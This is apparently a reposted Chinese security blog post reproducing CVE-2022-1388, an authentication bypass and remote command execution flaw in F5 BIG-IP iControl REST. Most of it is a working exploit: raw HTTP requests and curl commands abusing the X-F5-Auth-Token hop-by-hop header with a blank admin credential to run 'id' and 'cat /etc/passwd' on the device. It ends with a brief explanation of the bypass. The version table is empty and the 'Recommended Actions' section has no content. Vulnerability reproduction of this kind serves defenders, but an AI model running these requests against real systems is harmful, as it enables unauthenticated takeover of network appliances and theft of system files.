CVE-2022-1388：BIG-IP iControl REST 漏洞
Impact This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services. There is no data plane exposure; this is a control plane issue only.
| 产品 | 分支 | 受影响版本 | Fixes introduced in3 | 漏洞威胁等级 | CVSSv3 评分 |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|||
|
|
|
|
|||
|
|
|
|
|||
|
|
|
|
|||
|
|
|
|
root/default登录后输入ifconfig mgmt即可查看ip
https://<ip>打开看到登录界面抓包即可
# F5 BIG-IP RCE exploitation (CVE-2022-1388)
POST (1):
POST /mgmt/tm/util/bash HTTP/1.1
Host: <redacted>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0
{"command": "run" , "utilCmdArgs": " -c 'id' " }
curl commandliner:
$ curl -i -s -k -X $'POST'
-H $'Host: <redacted>:8443'
-H $'Authorization: Basic YWRtaW46'
-H $'Connection: keep-alive, X-F5-Auth-Token'
-H $'X-F5-Auth-Token: 0'
-H $'Content-Length: 52'
--data-binary $'{"command": "run" , "utilCmdArgs": " -c 'id' " }x0dx0a'
$'https://<redacted>:8443/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080
POST (2):
POST /mgmt/tm/util/bash HTTP/1.1
Host: <redateced>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0
{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }
curl commandliner:
$ curl -i -s -k -X $'POST'
-H $'Host: <redacted>:8443'
-H $'Authorization: Basic YWRtaW46' -H $'Connection: keep-alive, X-F5-Auth-Token'
-H $'X-F5-Auth-Token: 0'
--data-binary $'{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }x0dx0ax0dx0a'
$'https://<redacted>/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080
admin:绕过了前端和后端身份验证有关，以及HTTP的 hop_by_hop请求头问题:Connection，如下所示：Connection: close, X-Foo, X-Bar X-Foo和X-Bar作为逐跳处理，这意味着我们希望代理在传递请求之前将它们从请求中删除。Host:localhost才可以。
Recommended Actions
原文始发于微信公众号（山石网科安全技术研究院）：CVE-2022-1388 BIG-IP iControl REST 漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论